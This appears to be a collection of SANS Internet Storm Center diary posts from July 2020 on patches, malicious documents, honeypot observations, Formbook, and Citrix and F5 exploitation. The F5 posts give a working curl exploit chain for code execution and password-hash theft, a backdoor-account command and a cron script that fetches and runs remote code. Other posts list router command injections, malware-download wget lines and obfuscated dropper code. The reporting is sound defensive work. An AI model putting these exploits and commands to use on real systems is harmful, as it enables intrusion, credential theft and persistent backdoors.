%%cve:2020-1416%% No No Less Likely Less Likely Important    
Windows ALPC Elevation of Privilege Vulnerability
%%cve:2020-1396%% No No Less Likely Less Likely Important 7.8 7.0
Windows ActiveX Installer Service Elevation of Privilege Vulnerability
%%cve:2020-1402%% No No Less Likely Less Likely Important 7.8 7.0
Windows Address Book Remote Code Execution Vulnerability
%%cve:2020-1410%% No No Less Likely Less Likely Critical 7.8 7.0
Windows Agent Activation Runtime Information Disclosure Vulnerability
%%cve:2020-1391%% No No Less Likely Less Likely Important 5.5 5.0
Windows AppX Deployment Extensions Elevation of Privilege Vulnerability
%%cve:2020-1431%% No No Less Likely Less Likely Important 7.1 6.4
Windows CNG Key Isolation Service Elevation of Privilege Vulnerability
%%cve:2020-1359%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1384%% No No Less Likely Less Likely Important 7.0 6.3
Windows COM Server Elevation of Privilege Vulnerability
%%cve:2020-1375%% No No Less Likely Less Likely Important 7.8 7.0
Windows Credential Enrollment Manager Service Elevation of Privilege Vulnerability
%%cve:2020-1368%% No No Less Likely Less Likely Important 7.8 7.0
Windows Credential Picker Elevation of Privilege Vulnerability
%%cve:2020-1385%% No No Less Likely Less Likely Important 4.5 4.1
Windows DNS Server Remote Code Execution Vulnerability
%%cve:2020-1350%% No No More Likely More Likely Critical 10.0 9.0
Windows Diagnostics Hub Elevation of Privilege Vulnerability
%%cve:2020-1418%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1393%% No No Less Likely Less Likely Important 7.8 7.0
Windows Elevation of Privilege Vulnerability
%%cve:2020-1388%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-1392%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1394%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1395%% No No Less Likely Less Likely Important 7.8 7.0
Windows Error Reporting Information Disclosure Vulnerability
%%cve:2020-1420%% No No Less Likely Less Likely Important 5.5 5.0
Windows Error Reporting Manager Elevation of Privilege Vulnerability
%%cve:2020-1429%% No No Less Likely Less Likely Important 7.0 6.3
Windows Event Logging Service Elevation of Privilege Vulnerability
%%cve:2020-1365%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1371%% No No Less Likely Less Likely Important 7.8 7.0
Windows Font Driver Host Remote Code Execution Vulnerability
%%cve:2020-1355%% No No Less Likely Less Likely Important 7.8 7.0
Windows Font Library Remote Code Execution Vulnerability
%%cve:2020-1436%% No No Less Likely Less Likely Critical 8.8 7.9
Windows Function Discovery Service Elevation of Privilege Vulnerability
%%cve:2020-1085%% No No Less Likely Less Likely Important 7.8 7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2020-1468%% No No Less Likely Less Likely Important 5.5 5.0
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2020-1381%% No No More Likely More Likely Important 7.8 7.0
%%cve:2020-1382%% No No More Likely More Likely Important 7.8 7.0
Windows Imaging Component Information Disclosure Vulnerability
%%cve:2020-1397%% No No Less Likely Less Likely Important 4.3 3.9
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-1336%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1411%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2020-1419%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-1367%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-1389%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-1426%% No No More Likely More Likely Important 5.5 5.0
Windows Lockscreen Elevation of Privilege Vulnerability
%%cve:2020-1398%% No No Less Likely Less Likely Important 6.8 6.1
Windows Mobile Device Management Diagnostics Elevation of Privilege Vulnerability
%%cve:2020-1372%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1405%% No No Less Likely Less Likely Important 7.1 6.4
Windows Mobile Device Management Diagnostics Information Disclosure Vulnerability
%%cve:2020-1330%% No No Less Likely Less Likely Important 5.5 5.0
Windows Modules Installer Elevation of Privilege Vulnerability
%%cve:2020-1346%% No No Less Likely Less Likely Important 7.8 7.0
Windows Network Connections Service Elevation of Privilege Vulnerability
%%cve:2020-1373%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1390%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1427%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-1428%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-1438%% No No Less Likely Less Likely Important 7.0 6.3
Windows Network List Service Elevation of Privilege Vulnerability
%%cve:2020-1406%% No No Less Likely Less Likely Important 7.0 6.3
Windows Network Location Awareness Service Elevation of Privilege Vulnerability
%%cve:2020-1437%% No No Less Likely Less Likely Important 7.0 6.3
Windows Picker Platform Elevation of Privilege Vulnerability
%%cve:2020-1363%% No No Less Likely Less Likely Important 7.8 7.0
Windows Print Workflow Service Elevation of Privilege Vulnerability
%%cve:2020-1366%% No No Less Likely Less Likely Important 7.0 6.3
Windows Profile Service Elevation of Privilege Vulnerability
%%cve:2020-1360%% No No Less Likely Less Likely Important 7.8 7.0
Windows Push Notification Service Elevation of Privilege Vulnerability
%%cve:2020-1387%% No No Less Likely Less Likely Important 7.0 6.3
Windows Resource Policy Information Disclosure Vulnerability
%%cve:2020-1358%% No No Less Likely Less Likely Important 5.5 5.0
Windows Runtime Elevation of Privilege Vulnerability
%%cve:2020-1422%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1353%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1370%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1399%% No No More Likely More Likely Important 7.8 7.0
%%cve:2020-1404%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1413%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1414%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1415%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1249%% No No Less Likely Less Likely Important 7.8 7.0
Windows SharedStream Library Elevation of Privilege Vulnerability
%%cve:2020-1463%% No No Less Likely Less Likely Important 7.8 7.0
Windows Storage Services Elevation of Privilege Vulnerability
%%cve:2020-1347%% No No Less Likely Less Likely Important 7.8 7.0
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2020-1423%% No No Less Likely Less Likely Important 7.8 7.0
Windows Sync Host Service Elevation of Privilege Vulnerability
%%cve:2020-1434%% No No Less Likely Less Likely Important 4.5 4.1
Windows System Events Broker Elevation of Privilege Vulnerability
%%cve:2020-1357%% No No Less Likely Less Likely Important 7.8 7.0
Windows UPnP Device Host Elevation of Privilege Vulnerability
%%cve:2020-1354%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1430%% No No Less Likely Less Likely Important 7.8 7.0
Windows USO Core Worker Elevation of Privilege Vulnerability
%%cve:2020-1352%% No No Less Likely Less Likely Important 7.8 7.0
Windows Update Stack Elevation of Privilege Vulnerability
%%cve:2020-1424%% No No Less Likely Less Likely Important 7.8 7.0
Windows WalletService Denial of Service Vulnerability
%%cve:2020-1364%% No No Less Likely Less Likely Important 7.1 6.4
Windows WalletService Elevation of Privilege Vulnerability
%%cve:2020-1344%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1362%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1369%% No No Less Likely Less Likely Important 7.8 7.0
Windows WalletService Information Disclosure Vulnerability
%%cve:2020-1361%% No No Less Likely Less Likely Important 5.5 5.0
Windows iSCSI Target Service Elevation of Privilege Vulnerability
%%cve:2020-1356%% No No Less Likely Less Likely Important 7.8 7.0

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

4 Comments

Published: 2020-07-13

VBA Project Passwords

A VBA project can be protected with a read-password: a password you need to enter in order to be able to view and edit the VBA project in the VBA IDE.

I've never gave much attention to documents with password protected VBA code, because it's just that: a protection, enforced by the IDE. The VBA code itself is not encoded or encrypted, you can view it with my tool oledump.py or Philippe's tool olevba.py without any problem. In fact, you won't even notice that it is password protected if you use our tools.

To see with my tool if a VBA project is password protected, you take a look at the PROJECT stream. This stream is pure text, structured like an INI file. You will find an ID entry, usually the first line, with a GUID as value. This GUID is unique per VBA project, unless the VBA project is password protected. A password protected VBA project has a "NULL" GUID: ID="{00000000-0000-0000-0000-000000000000}"

Here is an example of the PROJECT stream of a VBA project without password:

And here is an example of the PROJECT stream of a VBA project with password:

Notice that entry DPB (ProjectPassword) is longer: that's because this ID contains the hash of the password. All this is explained in MS-OVBA 2.3.1.16.

I've never tried to crack password hashes like these, because the VBA code is not encoded/encrypted when a password is set. And if you want to remove the password, you can take the ID, DPB, CMG and GC entries of a VBA project without password, and use them as replacement values in the password protected VBA project.

But if you would happen to know of a free open-source tool to crack VBA project passwords (i.e recover the password, not remove it), please post a comment.   

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-07-12

Maldoc: VBA Purging Example

An anonymous reader asked if the malicious document Brad discussed in his latest diary entry, was "purged". VBA purging means that the compiled VBA code (PerformanceCache) is missing.

And indeed, if you use my tool oledump.py with option -i, you get more information and you can see that the PerformanceCache data is not present:

0+2359 means that the size of the PerformanceCache data is 0, and that the size of the CompileSourceCode data is 2359 bytes: this VBA code is indeed purged.

I took a look at the metadata to get an indiction if the document was created with Office and then VBA purged, or if a custom tool was used that does not generate PerformanceCache data. Since it is an OOXML file, I looked for the properties XML files (docProps):

And as you can see, the metadata is missing too.

It's not that the docProps files have been deleted, they are also not referenced in the Content_Types file:

I need to take a better look to have more confidence, but now I would be inclined to think that this document was created with a custom tool.

Update: I just noticed that the VBA code is also password protected.

Update 2: I have even more confidence, now I'm thinking this document was created with C# library EPPlus.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

4 Comments

Published: 2020-07-11

Scanning Home Internet Facing Devices to Exploit

In the past 45 days, I noticed a surge of activity in my honeypot logs for home router exploitation. This is a summary of the various hosts and IP addresses with potential exploit packages available for download. What is also interesting is the fact that most URL were only IP based, no hostname associated with them. Some of the URL were improperly configured, they still contained the default private IP and a few other contained: YOURIPHERE.

20200710-190150: 192.168.25.9:80-111.229.239.203:34654 data 'POST /tmUnblock.cgi HTTP/1.1\r\nHost: 93.114.82[.]154:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: python-requests/2.20.0\r\nContent-Length: 227\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nttcp_ip=-h `cd /tmp; rm -rf mpsl; wget http://YOURIPHERE/bins/mpsl; chmod 777 mpsl; ./mpsl linksys`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1'

Indicators of Compromise

14 wget http://ardp.hldns[.]ru/EThHpW
6 wget http://178.33.64[.]107/arm7
5 wget http://164.132.92[.]168:6479/bins/viktor.mips
4 wget http://185.172.111[.]214/8UsA.sh
4 wget http://147.135.173[.]238/pulse
4 wget http://212.114.52[.]128/arm7
4 wget http://51.222.26[.]189/yakuza.mpsl
3 wget http://ardp.hldns[.]ru/loligang.EThHpW
2 wget http://194.15.36[.]96/bins/mpsl
2 wget http://37.49.224[.]253/bin
2 wget http://37.49.224[.]46/bins/mpsl
2 wget http://19ce033f.ngrok[.]io/arm7
2 wget http://96.30.193[.]26/arm7
2 wget http://80.82.70[.]140//ef59f34faec0514e8d96b40f72b355d99b91f45d5cd14dce39094dbcd8c4e002.mips
2 wget 192.154.229[.]223/beastmode/b3astmode.arm7
1 wget -g 37.49.226[.]16 -l /tmp/leooon -r /luoqxbocmkxnexy/tbox.mips
1 wget http://116.114.95[.]20:55639/Mozi.a
1 wget http://123.11.8[.]237:60403/Mozi
1 wget http://37.49.224[.]44/bins/mpsl
1 wget http://163.204.21[.]255:37827/Mozi.a
1 wget http://172.39.5[.]207:43229/Mozi.m
1 wget http://45.95.168[.]131/bins/mpsl
1 wget http://45.95.168[.]228/sn0rt.sh
1 wget http://45.84.196[.]58/bins/mpsl
1 wget http://45.84.196[.]135/bins/mpsl
1 wget http://49.89.231[.]228:57693/Mozi.m
1 wget http://172.45.61[.]7:35173/Mozi.a
1 wget http://192.3.45[.]185/arm7
1 wget http://irc.hoaxcalls[.]pw/sh
1 wget http://77.43.137[.]199:50375/Mozi.a
1 wget http://77.43.253[.]106:34278/Mozi.a
1 wget http://89.148.247[.]11:35039/Mozi.a
1 wget http://62.4.31[.]161/bins/mpsl
1 wget http://194.15.36[.]125/bins/mpsl
1 wget http://176.123.6[.]35/bins/mpsl
1 wget http://45.95.168[.]228/YaO2uFOvUG8LV1y5NY1aCHmr1WdBLjcjiVD6aRRAWDL6oNY29J88y0nrXxaHBmTLEYC9yB56gBn95pco8kCbldVsHmjNQk8JTaC/Meth.mpsl
1 wget http://23.95.89[.]71/bins/mpsl
1 wget http://159.89.182[.]124/ankit/jno.mpsl
1 wget http://209.141.37[.]101/bins/mpsl
1 wget http://107.174.206[.]110/bins/mpsl
1 wget http://23.95.89[.]71/bins/mpsl
1 wget http://94.102.54[.]78/bins/mpsl
1 wget 185.172.111[.]214/bins/UnHAnaAW.x86

Failed URL
12 wget http://192.168.1[.]1:8088/Mozi.m    <- Private IP
3 wget http://YOURIPHERE/bins/mpsl         <- Forgot to configured
2 wget http://192.168.1[.]1:8088/Mozi.a       <- Private IP

SH256 Hash
Mozi.m e15e93db3ce3a8a22adb4b18e0e37b93f39c495e4a97008f9b1a9a42e1fac2b0

[1] https://isc.sans.edu/ipinfo.html?ip=93.114.82.154
[2] https://urlhaus.abuse.ch/url/399840/
[3] https://urlhaus.abuse.ch/url/332748/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

2 Comments

Published: 2020-07-10

Excel spreasheet macro kicks off Formbook infection

Introduction

Formbook has been around for years.  According to FireEye, Formbook has been "..advertised in various hacking forums since early 2016."  My previous diary about Formbook was back in November 2019, and not much has changed since then.  It still bears documentation, though, if only to show this malware is still active and remains part of our threat landscape.

Today's diary covers a Formbook infection from Thursday, June 9th 2020.


Shown above:  Flow chart for the Formbook infection covered in today's diary.

The lure

The lure for this particular infection was a malicious Excel spreadsheet.  Searching through VirusTotal, I found a malware sample that I tested in my lab.  The submission name was /tmp/eml_attach_for_scan/2433e76542036ab53b138a98eeda548a.file, so I don't know what the original file name was.


Shown above: Malicious Excel spreadsheet I found in VirusTotal.


Shown above: The malicious spreadsheet opened on a vulnerable Windows 10 host, ready for me to enable macros.

Initial infection

The initial infection happened immediately after I enabled macros, when my lab host retireved a Windows executable (EXE) for Formbook from hxxp://sagc[.]be/svc.exe and executed the file.  See the images below for details.


Shown above:  My lab host retrieving the Formbook EXE from sagc[.]be after enabling macros.


Shown above: Initial location where the Formbook EXE was saved to my lab host.


Shown above:  Formbook EXE's final location on my infected lab host with a Windows registry update to keep it persistent.

Data exfiltration

Post-infection traffic was sent to several different domains using URL patterns shown in the next image.


Shown above: Traffic from an infection filtered in Wireshark.

Data stolen by Formbook included a screenshot of my infected lab host, along with keystroke logs, application passwords, sensitive data from the browser chache, and information contained in the clipboard.  This data is temporarily stored in a randomly-named folder under the infected user's AppData\Roaming directory.  These artifacts are deleted after the data is exfiltrated through Formbook command and control (C2) traffic.


Shown above: Stolen data from the infected Windows host, waiting for Formbook to exfiltrate it over C2 traffic.

Indicators of Compromise (IoCs)

SHA256 hash: 148a026124126abf74c390c69fbd0bcebce06b600c6a35630cdce29a85a765fc

  • File size: 94,829 bytes
  • File name: unknown
  • File type: Microsoft Excel 2007+
  • File description: Excel spreadsheet with macro for Formbook malware

SHA256 hash: 9ebc903ca6847352aaac87d7f904fe4009c4b7b7acc9b629e5610c0f04dac4ef

  • File size: 481,792 bytes
  • File location: hxxp://sagc[.]be/svc.exe
  • File location: C:\Users\[username]\AppData\Local\Temp\putty.exe
  • File location: C:\Program Files (x86)\Bwls\userwzqlrdw.exe
  • File description: Windows executable (EXE) file for Formbook malware

Traffic from an infected Windows host:

Excel macro retrieves Formbook EXE:

  • 92.48.206[.]34 port 80 - sagc[.]be - GET /svc.exe

Formbook post-infection traffic:

  • 157.7.107[.]81 port 80 - www.lovelydays[.]info - GET /ns424/?[long string]
  • 23.235.199[.]50 port 80 - www.rightwebmarketing[.]com - GET /ns424/?[long string]
  • 23.235.199[.]50 port 80 - www.rightwebmarketing[.]com - POST /ns424/
  • 63.250.34[.]167 port 80 - www.mansiobok2[.]info - GET /ns424/?[long string]
  • 63.250.34[.]167 port 80 - www.mansiobok2[.]info - POST /ns424/
  • 34.102.136[.]180 port 80 - www.confidentbeauty[.]tips - GET /ns424/?[long string]
  • 34.102.136[.]180 port 80 - www.confidentbeauty[.]tips - POST /ns424/
  • 198.54.117[.]217 port 80 - www.donateoneeight[.]net - GET /ns424/?[long string]
  • 198.54.117[.]217 port 80 - www.donateoneeight[.]net - POST /ns424/

Unresolved DNS queries from the infected Windows host caused by Formbook:

  • DNS query for www.bakingandcookingandmore[.]com - response: No such name
  • DNS query for www.systemscan12[.]top - response: No such name
  • DNS query for www.lux-dl[.]com - response: No such name
  • DNS query for www.duongtinhot24h[.]com - response: No such name
  • DNS query for www.kcsmqd[.]com - response: No such name
  • DNS query for www.pksbarandgrill[.]net - response: No such name
  • DNS query for www.lx-w[.]com - response: No such name
  • DNS query for www.costcocanadaliguor[.]com - response: No such name
  • DNS query for www.autohaker[.]com - response: No such name
  • DNS query for www.e-golden-boy[.]com - response: No such name
  • DNS query for www.angelalevelsup[.]com - response: No such name

Final words

Formbook infections work nearly the same as they did when I wrote my first diary about Formbook in October 2017.  I'm surprised that I still occasionally run across a sample during my day-to-day research.  An up-to-date Windows 10 with default security settings should prevent these sorts of infection from happening.  I guess it's still somehow profitable for criminals behind Formbook to continue developing this malware.  Apparently, there's no shortage of vulnerable Windows hosts for potential targets.

A pcap of the infection traffic and malware samples for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

2 Comments

Published: 2020-07-09

Active Exploit Attempts Targeting Recent Citrix ADC Vulnerabilities CTX276688

I just can't get away from vulnerabilities in perimeter security devices. In the last couple of days, I spent a lot of time with our F5 BigIP honeypot. But looks like I have to revive the Citrix honeypot again. As of today, my F5 honeypot is getting hit by attempts to exploit two of the Citrix vulnerabilities disclosed this week [1]. Details with proof of concept code snippets were released yesterday [2].

It is not clear exactly which CVE was assigned to which vulnerability, but the possible candidates are CVE-2020-8195, CVE-2020-8196, 

The first issue, probably the more severe one, is allowing for arbitrary file downloads. I see this issue currently exploited from just one IP address: 13.232.154.46 (Amazon.. my honeypot must have Amazone Prime to get exploits next day).

POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1 

The second vulnerability (which I don't think has a CVE assigned to it, but I will update this diary if I find one), allows retrieval of a PCI-DSS report without authentication. Actually... you still need to "authenticate" I guess, by adding "sig_name=_default_signature_" to the URL :/. 

The full request I see being used (just the Apache log):

POST /pcidss/report?username=nsroot&set=1&type=allprofiles&sid=loginchallengeresponse1requestbody HTTP/1.1" 404 211 "-" "python-requests/2.19.1"

Interestingly: So far, most of the IPs that are scanning for this vulnerability belong to "hostwindsdns.com"

Current IPs:

23.254.164.181
23.254.164.48
43.245.160.163
104.168.166.234
104.168.194.148
142.11.213.254
142.11.227.204
192.119.73.107
192.119.73.108
192.236.162.232
192.236.163.117
192.236.163.119
192.236.192.119
192.236.192.3
192.236.192.5
192.236.192.6

The vulnerability isn't all that "bad" (I have to look if the report leaks anything specific). It is not allowing access to anything else. But it could very well be used to identify unpatched devices. Some of the other vulnerabilities patched with this update are "interesting", but more tricky to exploit.

[1] https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
[2] https://dmaasland.github.io/posts/citrix.html

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

0 Comments

Published: 2020-07-08

If You Want Something Done Right, You Have To Do It Yourself... Malware Too!

I’m teaching FOR610[1] this week and today is dedicated to malicious web and document files. That’s a good opportunity to share with you a Windows Script that uses a nice obfuscation technique. The attacker's idea is to use a big array containing the second stage payload and interesting strings:

var Kerosene = [
function(){
var Odds = "m!FyIG5lbTQ0Ow0Km!FyIGxvb!mUZXh0ID0gIlVFc0RC ….”;
return [function(){
eval("Odds = Odds.replace(new RegExp(\"!@@\", \"g\"), \"A\");");
eval("\x4F\x64\x64\x73\x20\x3D\x20\x4F\x64\x64\x73\x2E\x72\x65\x70\x6C\x61\x63\x65\x28\x6E\x65\x77\x20\x52\x65\x67\x45\x78\x70\x28\x22\x6D\x22\x2C\x20\x22\x67\x22\x29\x2C\x20\x22\x64\x22\x29\x3B");
eval("\x4F\x64\x64\x73\x20\x3D\x20\x4F\x64\x64\x73\x2E\x72\x65\x70\x6C\x61\x63\x65\x28\x6E\x65\x77\x20\x52\x65\x67\x45\x78\x70\x28\x22\x21\x22\x2C\x20\x22\x67\x22\x29\x2C\x20\x22\x6D\x22\x29\x3B");
return Odds;
}][0]();
},
Array("CreateObject","ReadText","undefined","\x61\x64\x6F\x64\x62\x2E","\x43\x68\x61\x72\x53\x65\x74","\x50\x6F\x73\x69\x74\x69\x6F\x6E","\x54\x79\x70\x65","Open","Write","nodeTypedValue"),null
];

Like JavaScript, Windows Script is a language very permissive regarding data types and you can mix functions and strings in the same array. The first element of the array Kerozene[] is a function that deobfuscates a very long string that is also polluted with character substitutions. Once replaced, these characters with the right one, you can decode the Base64 string and get the second payload. The other elements are in a second array with some hex-encoded elements Then the following code is executed:

Kerosene[3] = Array(WSH[Kerosene[1][0]]("\x61\x64\x6F\x64\x62\x2E\x73\x74\x72\x65\x61\x6D"),
                    WSH[Kerosene[1][0]]("microsoft.xmldom").createElement("cfg"),
                    {bmx: "\x75\x73\x2D\x61\x73\x63\x69\x69"});
Kerosene[4] = function(){return Kerosene[3][0];};
[function(){
  Kerosene[3][1].dataType = "\x62\x69\x6E\x2E\x62\x61\x73\x65\x36\x34";
  Kerosene[3][1].text = Kerosene[0]();
  [function(){
    eval("Kerosene[4]()[Kerosene[1][6]] = 1;Kerosene[4]()[Kerosene[1][7]]();Kerosene[4]()[Kerosene[1][8]]. (Kerosene[3][1][Kerosene[1][9]]);");
    eval("Kerosene[4]()[Kerosene[1][5]] = 0;Kerosene[4]()[Kerosene[1][6]] = 2;");
    eval("Kerosene[4]()[Kerosene[1][4]] = Kerosene[3][2].bmx;");
    eval("Kerosene = [Array(eval), Kerosene[4](), [Kerosene[1][1]]];");
  }][0]();
}][0]();

Kerosene[0][0](Kerosene[1][Kerosene[2]]());

How does it work? References to elements of the array are replaced by their value during the execution. Example:

WSH[Kerosene[1][0]]("\x61\x64\x6F\x64\x62\x2E\x73\x74\x72\x65\x61\x6D")

becomes:

WSH[CreateOject("adodb.stream")

The second payload implements the same obfuscation technique (a Base64 payload is decoded after replacing some garbage characters). The script applies the principle of "help yourself". The interesting function is GrabJreFromNet() which tries to download a Java Runtime Environment if not already installed on the victim's computer. The package is grabbed from this URL: hxxp://ops[.]com[.]pa/jre7.zip

The script performs the following test to detect if Java is available or not:

var text = "";
try {
  text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\CurrentVersion");
  text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");
} catch(err) {}
try {
  if (text == "") {
    text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\CurrentVersion");
    text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");
    if (text != "") {
      text = text + "\\bin\\javaw.exe";
    }
  }
  else {
    text = text + "\\bin\\javaw.exe";
  }
} catch(err) {}
try {
  if (text != "") {
    //wshShell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr", "\"" + text + "\" -jar \"" + stubpath + "\"", "REG_SZ");
    wshShell.run ("\"" + text + "\" -jar \"" + stubpath + "\"");
  } else {
    GrabJreFromNet();
  }
} catch(err) {}

The third payload is a Zip file (a JAR file) that contains a classic AdWind backdoor (SHA256: 3c4e2ca8a7b7cd1eb7ff43851d19a456914f0e0307dfe259813172e955d7f2ab)[2].

[1] http://for610.com
[2] https://www.virustotal.com/gui/file/3c4e2ca8a7b7cd1eb7ff43851d19a456914f0e0307dfe259813172e955d7f2ab/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 Comments

Published: 2020-07-07

Happy Birthday DShield: DShield.org was registered 20 years ago.

And all DShield wants for its Birthday is your logs :). See here for details.

0 Comments

Published: 2020-07-07

F5 BigIP vulnerability exploitation followed by a backdoor implant attempt

While monitoring SANS Storm Center's honeypots today, I came across the second F5 BIGIP CVE-2020-5902 vulnerability exploitation followed by a backdoor deployment attempt. The first one was seen by Johannes yesterday [1].

Running the backdoor binary (ELF) on a separate system, it was possible to verify that it establishes an SSL connection to the address web[.]vpnkerio.com (152[.]32.180.34:443).

Looking for the web[.]vpnkerio.com at VirusTotal while writing this diary, I could find no AV detecting the network addresses or the binary hash as malicious. 

For persistence, it writes a line on "/etc/init.d/rc.local" file on an attempt to start on system boot.

Examining the binary statically, it is possible to see the string' python -c 'import pty;pty.spawn("/bin/sh")’. It will require more analysis, but it may be used for the attacker to have an interactive terminal on the target system. A proper terminal is usually required for the attacker to run commands like 'su'.

IOCs:

Exploitation attempt source
96[.]45.187.52

Backdoor URL:
http://104[.]238.140.239:8080/123
 

C2 communication
web[.]vpnkerio.com
152[.]32.180.34:443

The backdoor binary
90ce1320bd999c17abdf8975c92b08f7 (MD5)
a8acda5ddfc25e09e77bb6da87bfa157f204d38cf403e890d9608535c29870a0  (SHA256)

References

[1] https://isc.sans.edu/forums/diary/Summary+of+CVE20205902+F5+BIGIP+RCE+Vulnerability+Exploits/26316/

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

2 Comments

Published: 2020-07-06

Summary of CVE-2020-5902 F5 BIG-IP RCE Vulnerability Exploits

Our honeypots have been busy collecting exploit attempts for CVE-2020-5902, the F5 Networks BigIP vulnerability patched last week. Most of the exploits can be considered recognizance. We only saw one working exploit installing a backdoor. Badpackets reported seeing a DDoS bot being installed. 

Thanks to Renato for creating a partial map of the IPs hitting our honeypot so far:

The simplest way to achieve limited command execution is the use of BigIP command-line interface commands. But the function is a bit limited. However, to achieve full-featured command execution, it is possible to just create an alias that points to "bash". 

The result is full code execution in three steps (these requests can us POST or GET. I am using GET here to make them easier to display):

1. Create an "alias" to map the "list" command to "bash"

curl 'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash'

{"error":"","output":""}

2. Write a file to /tmp with the command to be executed

curl 'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id'

[several empty lines as output]

3. Use the alias to execute the command.

curl 'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd'

{"error":"","output":"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"}

4. Optionally: remove the alias.

curl'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list'

{"error":"","output":""}

If you do not need code execution, you can also use "Step 2" to write files, or you can just read arbitrary files in one step using:

curl -k 'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release'

{"output":"BIG-IP release 15.1.0.1 (Final)\n"}

Instead of defining an alias, the technique in step '1' can also be used to execute BigIP CLI command directly, for example, to retrieve password hashes (note this only work if the alias is not defined):

curl 'https://f5.sans.edu//tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

{"error":"","output":"auth user admin {\n    description \"Admin User\"\n    encrypted-password $6$oeE7u1cp$5cOu9tYnEiXYx\/6UuyOTfgJw5nUgXnetzipHdcX7oRc3xwehAFdQGmhzocud3CGH6MYZgqLGb8u6KiITWBsHi\/\n    partition Common\n    partition-access {\n        all-partitions {\n            role admin\n        }\n    }\n    shell none\n}\n"}

Most of the commands I have seen so far are "id", "ls" and retrieving files like "/etc/paswd" and the BigIP license file. More interesting commands:

* Adding a backdoor root account:

tmsh create auth user f5admin password getrektdotcom partition-access add { all-partitions { role admin } } shell bash

* Adding a backdoor cron job:

curl 217.12.199.179/b.sh|sh

which retrieves:

#!/bin/sh
ulimit -n 65535
rm -f /etc/ld.so.preload

LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
  LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
  LDR="wget -q -O -"
fi

crontab -l | grep -e "217.12.199.179" | grep -v grep
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    echo "* * * * * $LDR http://217.12.199.179/b.sh | sh > /dev/null 2>&1"
  ) | crontab -
fi

this will check the URL once a minute for updates via cron. So far, I have not seen any other scripts return. Interestingly, after sending an abuse complaint to the ISP hosting the script, my home IP can no longer connect to the site.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

2 Comments

Published: 2020-07-06

CVE-2020-5902: F5 BIG-IP RCE Vulnerability

A remote code execution vulnerability %%cve:2020-5902%% in F5's BIG-IP with CVSS score 10 is actively exploited.

Vulnerable versions are:

  • 11.6.1-11.6.5.1
  • 12.1.0-12.1.5.1
  • 13.1.0-13.1.3.3
